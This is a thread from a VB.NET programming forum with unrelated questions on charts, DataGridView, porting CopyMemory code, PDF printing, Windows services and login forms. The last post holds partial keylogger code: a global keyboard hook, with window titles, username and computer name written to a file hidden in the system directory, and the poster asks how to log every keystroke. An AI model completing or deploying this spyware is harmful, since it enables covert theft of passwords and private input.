|
Hi Guys!! I'm Devraj and i have almost completed my Project (DevNik: A Bit Torrent Client) in VB.NET 2005
I'm in need of a Vb.NET ActiveX Control which i could use to display the Download and Upload Rate in my Client. Has anybody heard or know about such a control which will be helpful to me. I need something like the TaskManager in WinXP, just that it must have 2 lines, one for Download rate and the other for Upload rate.
If anybody knows of such a control , plz could you send me a link or give me some idea where i might get it. I'm also welcome to any alternatives or suggestions. Thanx in Advance . Reply Back to me.
Devraj Raut!!!
|
|
|
|
|
Visual Studio comes with a free MSChart.ocx (ActiveX). However, I recommend that you steer clear of ActiveX controls in .NET. COM interop is slow and COM/ActiveX objects are very prone to DLL hell.
Instead, I recommend that you use a .NET graph control. Such as the ZedGraph[^] control which is free and way better than MSChart.
|
|
|
|
|
Hi All,
I am using datagridview control to display data in the datagrit. Datagridview is bound to a data source, nothing very complex. I want to insert data as I tab out of a new row( and data entered into that new row) and come to the next row. It should do it automatically.
Can any one please give me any ideas at to how I could do that?
Thanks a lot!!
|
|
|
|
|
Hi Everyone,
In VB.NET application, I want to copy a structure into a 2 dimensional array using CopyMemory.
just for your idea giving you the structure defination.
'for storing the pixel arrays...
_
Private Structure SAFEARRAYBOUND
Dim cElements As Integer
Dim lLbound As Integer
End Structure
_
Private Structure SAFEARRAY2D
Dim cDims As Short
Dim fFeatures As Short
Dim cbElements As Integer
Dim cLocks As Integer
Dim pvData As Integer
Dim Bounds() As SAFEARRAYBOUND
End Structure
I have gone through many forums but couldnt able to find the appropriate answer.
Expecting a solution soon.
Thanks
Chirag...
|
|
|
|
|
|
Hey thanks for you response. But I have tried that way too. but couldnt get success. Is there any other alternative......????
Chirag...
|
|
|
|
|
By default, the compiler will "optimize" your structure by re-ordering its fields. Because of this, you'll need to define that your structure's fields be layed out sequentially in memory. You can do this via the StructLayout attribute as follows.
<System.Runtime.InteropServices.StructLayout(Runtime.InteropServices.LayoutKind.Sequential)> _
Public Structure SAFEARRAYBOUND
Dim cElements As Integer
Dim lLbound As Integer
End Structure
I've found an article on this website explaining how to do a CopyMemory call in VB.NET. It also goes over .NET marshalling too. Perhaps this will help you?
http://www.codeproject.com/vb/net/netcopymemorysample.asp[^]
|
|
|
|
|
that too i have done and also gone through the article.....but major problem is that i could not be able to convert this sequential structure into 2 dimensional array.......basically i need to covert this structure into 2 dimensional array which gives pixel information......and later on i will convert it into one dimensional long array.....thats wht my purpose....
Chirag...
|
|
|
|
|
How is your 2 dimensional array defined?
How will it be used?
|
|
|
|
|
Public Function LongPixels() As Long()
'_____________________________________________________
'
' Purpose: converts the 2-dimensional 3/4 Byte DIB into a one-
' dimensional Long array, for easy summing of long int values.
' scans from left to right, then bottom to top.
' diblongarray(0) = lower left pixel.
' diblongarray(ubound) = upper right pixel.
' Assumptions: the DIB is 24-bit, the byte order of the pixels is
' r-g-b (not the common b-g-r)
' Affects:
' Inputs:
' Returns:
'_____________________________________________________
Dim bDibMag() As Byte '2 dimensional byte array holds pixels by row,col
Dim lX As Long, lY As Long 'x = pixel col, y = pixel row
Dim saDibMag As SAFEARRAY2D
Dim lXEnd As Long
Dim l As Long
Dim lCol As Long
On Error GoTo Cleanup
'structure the 2-dimensional safearray
With saDibMag
.cbElements = 1 'bytes to an element
.cDims = 2 'dimensions
.Bounds(0).lLbound = 0 'lbound of 1st dim
.Bounds(0).cElements = Height '# rows = height in pixels
.Bounds(1).lLbound = 0 'lbound of 2nd dim
.Bounds(1).cElements = LineByteWidth() 'calculate width with 24/32 row pad
.pvData = lPtrDibMag 'pointer to the DIBits
End With
'HH: MoveMemory is not available in Windows API but in Win32 API, similar command in current API is CopyMemory
'for MoveMemory, it's definition: Sub MoveMemory(pDest As Any, pSource As Any, ByteLen As Long)
'it moves a block of memory from one location to another.
'VarPtr: retrieves the memory handle of an object.
'ATTN: while calling using ByVal, it transfer the the source's memory handle
'if calling byRef(default), it instead transfer the tempoary variable that stores the souce's memory handle
'in a simple way, the following command is a quicker way, if there's a bunch of data, to pass values
'of source variable to destination variable
MoveMemory ByVal VarPtrArray(bDibMag()), VarPtr(saDibMag), 4 'copy safe array to bDibMag
lXEnd = (Width - 1) * 3
l = 0
ReDim lColor(Width * Height - 1) '4 MB
'HH: FOLLWING LOOP READS TWO DIMENSIONAL VALUE AND STORE THEM INTO A ONE-DIMENSION LONG ARRAY
'HH: READS VALUE FROM BOTTOM TO TOP
For lY = 0 To biDibMag.bmiHeader.biHeight - 1
DoEvents
'HH: FOR EACH ROW, READS VALUE FROM LEFT TO RIGHT
For lX = 0 To lXEnd Step 3
MoveMemory lCol, bDibMag(lX, lY), 3
lColor(l) = lCol
lCol = 0
MoveMemory ByVal VarPtr(lCol), 0&, 3
l = l + 1
Next lX
Next lY
LongPixels = lColor
lPix = l 'store pixelcount
'zero out the moved memory, so as to avoid
'a pacman-like memory-use situation
MoveMemory ByVal VarPtrArray(bDibMag), 0&, 4
Cleanup:
Erase saDibMag.Bounds
Erase lColor
Erase bDibMag
If err.Number <> 0 Then WriteLog "MAGRAS ERROR In Procedure LongPixels, #" _
& err.Number & ": " & err.Description
err.Clear
End Function
this is the VB function which i need to convert to VB.NET...this is the way i have defined the two dimensional array in VB.NET project..
Dim bDibMag(,) As Long '2 dimensional byte array holds pixels by row,col
Thanks again for taking interest in this problem..
Chirag...
chirag.danech@gmail.com
|
|
|
|
|
After looking at your code, the only reason MoveMemory() is called is for performance reasons. Maybe in VB6 this was faster, but in VB.NET I doubt it. The reason is because a call to MoveMemory() is a call to unmanaged code, requiring a P/Invoke, which is a performance hit in .NET. I suggest that you make it easy on yourself, remove all of the MoveMemory() calls, and just iterate through the 2d array and directly copy the color values into your 1d array. You can look into boosting performance after you get it working.
Also, there appears to be a lot of legacy VB6 calls in your VB.NET code. You may just want to rewrite the whole thing.
You should replace your "On Error Goto" with Try/Catch.
You should replace "DoEvents" with "Application.DoEvents()".
Do a "Return lColors" instead of "LongPixels = lColors", and perhaps return an empty array on error.
|
|
|
|
|
Yeah I totally agree with you. Eventhough I have started to thinking to discard all the MoveMemory call. But as you have told just iterate through the 2d array and directly copy the color values into 1stD array. Yeah so for that the question is that..How can i get the 2D array from the structure. I mean once I get the 2D array I can easily convert it into the 1D array.
And Yeah whatever changes you have mentioned I have already made on my new .NET Code.
I appriciate If you can solve this too.
Thanks
chirag.danech@gmail.com
Chirag...
|
|
|
|
|
This is definitely tricky.
My guess is that pointer "lPtrDibMag" points to a BITMAPINFO[^] structure. This structure is defined like this...
typedef struct tagBITMAPINFO {
BITMAPINFOHEADER bmiHeader;
RGBQUAD bmiColors[1];
} BITMAPINFO;
The second field has the array of colors you need. The trick is accessing this info with pointer "lPtrDibMag". I believe you can access it like this.
Dim pbmi As BITMAPINFO<br />
pbmi = CType(Marshal.PtrToStructure(lPtrDibMag, GetType(BITMAPINFO)), BITMAPINFO)
I also found this[^] post in the C# forums which could help.
-- modified at 18:13 Sunday 9th April, 2006
|
|
|
|
|
As we all know, creating a printdocument can be murder in VB.NET... however i've come to understand it.
Most of the simple reports and letters I can write the programming for with no problem. My company is now asking me if it is possible to add a collection of PDF files to the program in order to create templates for some of these reports, and have the program fill in a few fields where necessary.
How do I load a PDF into a printdocument? The research I've done so far is leading me down the path of looping though the PDF converting each page into an image while looping throught the printdocument and setting each page to that image... Any sample code would be appreciated. From there I can figure out the rest.
Thanks,
Andrew
|
|
|
|
|
Hello,
I created a windows service in VS 2005 and installer exactly according to the instructions Here
However, the service does not appear in my list of services. Has anyone ran into this? Is there a way I can start the service w/o seeing it in the list? Command line, etc?
Thanks!
"Half this game is ninety percent mental."
- Yogi Berra
If you can read thank a teacher, if you can read in English, thank a Marine.
|
|
|
|
|
Try checking the registry HKLM\SYSTEM\CurrentControlSet\Services to see if it is listed, this is where all the registered services are listed
Did you have the services mmc open when installing, this can stop it working
you can start services using - net start SERVICENAME at the command line
"If i was king cigarettes would be free."
|
|
|
|
|
|
Hi all,
I am creating a password login form but everytime I run the program, the first form that is loaded is not the login form but rather another form.
How can I firstly load the login form and wait for the correct password before I load any other form?
Thank you very much.
|
|
|
|
|
If this is VB.NEt select the PROJECT in the SOLUTION explorer and select properties.
Change the startup object in here to the form you require.
You then check the password and do
Dim oFrm as new form1
oFrm.Show
me.hide
If this is VB6 select the PROJECT in the PROJECT explorer and select properties.
Change the startup object in here to the form you require.
You then check the password and call
form1.Show
Unload me
"If i was king cigarettes would be free."
|
|
|
|
|
|
Hi guyz.Can someone pliz give me a clue on how i can convert a report int a PDF file and save it in VB 6.0.I'm kindah stuck with my project and it's really getting on my nerves
Also I have have a form that one is supposed to fill in some data then
on a click of a button a report is created reflecting what is on the form currently,i.e the program should create reports at runtime
I tried the usual way by using data environment connecting to data reports but that only creates reports based on the data on the database(old data)and not the current data (data on the form when at runtime)
Your responsibility determines your authority which in turn specifies your teritory
|
|
|
|
|
Hi,
Can u specify whether u r updating ur database after filling the form?
I think u need to refresh ur database/report before showing at runtime.
Thanx & Regards.
Success is not a Destination,
... But a Journey !!
|
|
|
|
|
I have a method that instantiates the PrintPreviewDialog class inside of a class where I inherited the PrintDocument class. When executing this print preview method I would like to override the default title bar information displayed by the print preview dialog ("Print preview") before showing the preview dialog.. An example of the code I am using the display the preview dialog is shown below. Unfortunately I do not see a text property exposed by the PrintPreviewDialog. Can anyone provide any insight on how I may be able to override the default PrintPreviewDialog title text?
Try
Dim PD As New PrintPreviewDialog()
With PD
.Document = Me ' Me is the PrintDocument object
.PrintPreviewControl.Zoom = 1.0
.WindowState = FormWindowState.Maximized
.ShowIcon = False
.ShowDialog()
End With
Catch ex As Exception
Throw
End Try
|
|
|
|
|
This is interesting, at least to me. Even though I can not see the Text or Icon properties of the PrintPreviewDialog object in intellisense, I can still get and set those properties through code. I'm not exactly sure why that is, but since that easily resolves my issue I am now a happy camper.
|
|
|
|
|
Hi friends;
i am working on this,i want get all keypress buttons and write in a txt (i already finished create txt,write in txt a date and getusername bla bla bla)my problem i want to know how can i start keyboard hook and how can i make writer key by key and how stop too(with parameters if have) i did this project before vb 6.0 but i am feeling myself like a moron with this vb.net
please help
Imports System.Runtime.InteropServices
Imports System.Reflection
Imports System.Drawing
Imports System.Threading
Module keyboard
Public Declare Function UnhookWindowsHookEx Lib "user32" _
(ByVal hHook As Integer) As Integer
Public Declare Function SetWindowsHookEx Lib "user32" _
Alias "SetWindowsHookExA" (ByVal idHook As Integer, _
ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, _
ByVal dwThreadId As Integer) As Integer
Private Declare Function GetAsyncKeyState Lib "user32" _
(ByVal vKey As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" _
(ByVal hHook As Integer, _
ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Public Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scanCode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure
' Low-Level Keyboard Constants
Private Const HC_ACTION As Integer = 0
Private Const LLKHF_EXTENDED As Integer = &H1
Private Const LLKHF_INJECTED As Integer = &H10
Private Const LLKHF_ALTDOWN As Integer = &H20
Private Const LLKHF_UP As Integer = &H80
' Virtual Keys
Public Const VK_TAB = &H9
Public Const VK_CONTROL = &H11
Public Const VK_ESCAPE = &H1B
Public Const VK_DELETE = &H2E
Private Const WH_KEYBOARD_LL As Integer = 13&
Public KeyboardHandle As Integer
' Implement this function to block as many
' key combinations as you'd like
Public Function IsHooked( _
ByRef Hookstruct As KBDLLHOOKSTRUCT) As Boolean
Debug.WriteLine("Hookstruct.vkCode: " & Hookstruct.vkCode)
Debug.WriteLine(Hookstruct.vkCode = VK_ESCAPE)
Debug.WriteLine(Hookstruct.vkCode = VK_TAB)
If (Hookstruct.vkCode = VK_ESCAPE) And _
CBool(GetAsyncKeyState(VK_CONTROL) _
And &H8000) Then
Call HookedState("Ctrl + Esc blocked")
Return True
End If
If (Hookstruct.vkCode = VK_TAB) And _
CBool(Hookstruct.flags And _
LLKHF_ALTDOWN) Then
Call HookedState("Alt + Tab blockd")
Return True
End If
If (Hookstruct.vkCode = VK_ESCAPE) And _
CBool(Hookstruct.flags And _
LLKHF_ALTDOWN) Then
Call HookedState("Alt + Escape blocked")
Return True
End If
Return False
End Function
Private Sub HookedState(ByVal Text As String)
Debug.WriteLine(Text)
End Sub
Public Function KeyboardCallback(ByVal Code As Integer, _
ByVal wParam As Integer, _
ByRef lParam As KBDLLHOOKSTRUCT) As Integer
If (Code = HC_ACTION) Then
Debug.WriteLine("Calling IsHooked")
If (IsHooked(lParam)) Then
Return 1
End If
End If
Return CallNextHookEx(KeyboardHandle, _
Code, wParam, lParam)
End Function
Public Delegate Function KeyboardHookDelegate( _
ByVal Code As Integer, _
ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) _
As Integer
_
Private callback As KeyboardHookDelegate
Public Sub HookKeyboard()
callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)
KeyboardHandle = SetWindowsHookEx( _
WH_KEYBOARD_LL, callback, _
Marshal.GetHINSTANCE( _
[Assembly].GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
Call CheckHooked()
End Sub
Public Sub CheckHooked()
If (Hooked()) Then
Debug.WriteLine("Keyboard hooked")
Else
Debug.WriteLine("Keyboard hook failed: " & Err.LastDllError)
End If
End Sub
Private Function Hooked()
Hooked = KeyboardHandle <> 0
End Function
Public Sub UnhookKeyboard()
If (Hooked()) Then
Call UnhookWindowsHookEx(KeyboardHandle)
End If
End Sub
End Module
-------------------------------------------------------------------------
Imports System.IO
Imports System.Windows.Forms
Imports System.Text
Imports System
Imports System.Runtime.InteropServices
Imports System.Reflection.Assembly
Public Class Form1
Inherits System.Windows.Forms.Form
Declare Function GetForegroundWindow Lib "user32" Alias "GetForegroundWindow" () As Integer
Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Integer) As Integer
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Integer, ByVal lpString As String, ByVal cch As Integer) As Integer
Dim systemdirectory As String = (System.Environment.SystemDirectory)
Dim dosyaadi As String = (systemdirectory & "\bora.txt")
Dim computername As String = (System.Windows.Forms.SystemInformation.ComputerName.ToString)
Dim fso As New Scripting.FileSystemObject
Dim txt As Scripting.TextStream
Dim strinfo As String
Dim kullaniciadi As String = (System.Environment.UserName)
Function raporolustur()
'Sistem klasörünü bul
Dim systemdirectory As String = (System.Environment.SystemDirectory)
'Sistem klasörüne txt dosya aç
Dim dosyaadi As String = (systemdirectory & "\bora.txt")
'Açılan txt dosyaya gerekenleri yaz
txt = fso.OpenTextFile(dosyaadi, Scripting.IOMode.ForAppending, True)
'Başladığında zamanı ve tarihi yaz
txt.WriteLine(("BAŞLADİ " & Now))
Dim OBJNET As Object
OBJNET = CreateObject("WScript.NetWork")
strinfo = "Kullanici Adi: " & kullaniciadi & vbCrLf & _
"Bilgisayar Adi: " & computername & vbCrLf
txt.WriteLine(vbNewLine & strinfo)
End Function
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
raporolustur()
Timer1.Enabled = True
End Sub
Private m_LastHwnd As Integer
Private Function GetWindowTitle(ByVal window_hwnd As Integer) As String
Dim length As Integer
length = GetWindowTextLength(window_hwnd) + 1
If length <= 1 Then
Return "<<<" & window_hwnd.ToString & ">>>"
Else
Dim buf As String = Space$(length)
length = GetWindowText(window_hwnd, buf, length)
Return buf.Substring(0, length)
End If
End Function
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim fg_hwnd As Long = GetForegroundWindow()
If m_LastHwnd = fg_hwnd Then Exit Sub
m_LastHwnd = fg_hwnd
txt.WriteLine(Text:=Now.ToString("h:mm:ss") & "<<" + GetWindowTitle(fg_hwnd) & ">>")
End Sub
End Class
|
|
|
|